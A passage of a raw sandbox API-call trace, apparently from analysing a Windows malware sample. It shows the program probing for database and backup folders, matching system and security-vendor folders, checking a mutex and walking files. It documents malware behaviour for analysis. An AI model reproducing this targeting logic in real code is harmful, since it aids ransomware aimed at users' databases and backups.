Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@ꜤR企@\x18䀴Q\x181")) returned 0xffffffff [0045.956] GetLastError () returned 0x2 [0045.956] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@봬R企@\x18?T\x18;")) returned 0xffffffff [0045.957] GetLastError () returned 0x2 [0045.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0045.957] GetLastError () returned 0x2 [0045.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0045.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@ꜤR企@\x18봬R\x18j")) returned 0xffffffff [0045.958] GetLastError () returned 0x2 [0045.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0045.959] GetLastError () returned 0x2 [0045.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\봨R°") returned 6 [0045.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0045.959] GetLastError () returned 0x2 [0045.959] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0045.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0045.959] GetLastError () returned 0x2 [0045.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0045.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0045.960] GetLastError () returned 0x2 [0045.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0045.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0045.960] GetLastError () returned 0x2 [0045.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0045.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0045.960] GetLastError () returned 0x2 [0045.960] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0045.960] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.960] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.960] GlobalUnlock (hMem=0x44000c) returned 0 [0045.960] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.960] GlobalLock (hMem=0x440004) returned 0x553188 [0045.960] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.961] GlobalUnlock (hMem=0x44000c) returned 0 [0045.961] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.961] GlobalUnlock (hMem=0x440004) returned 0 [0045.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.961] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.961] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.961] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.961] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.961] GlobalLock (hMem=0x440004) returned 0x551178 [0045.961] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.961] GlobalUnlock (hMem=0x440004) returned 0 [0045.961] GlobalLock (hMem=0x440004) returned 0x551178 [0045.961] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.961] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.961] GlobalUnlock (hMem=0x440004) returned 0 [0045.961] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.961] GlobalUnlock (hMem=0x44000c) returned 0 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0045.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.962] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.962] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.962] GlobalUnlock (hMem=0x44000c) returned 0 [0045.962] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.962] GlobalLock (hMem=0x440004) returned 0x553188 [0045.962] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.963] GlobalUnlock (hMem=0x44000c) returned 0 [0045.963] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.963] GlobalUnlock (hMem=0x440004) returned 0 [0045.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.963] GlobalLock (hMem=0x440004) returned 0x552180 [0045.963] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.963] GlobalUnlock (hMem=0x440004) returned 0 [0045.963] GlobalLock (hMem=0x440004) returned 0x552180 [0045.963] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.963] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.963] GlobalUnlock (hMem=0x440004) returned 0 [0045.963] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.963] GlobalUnlock (hMem=0x44000c) returned 0 [0045.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.963] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 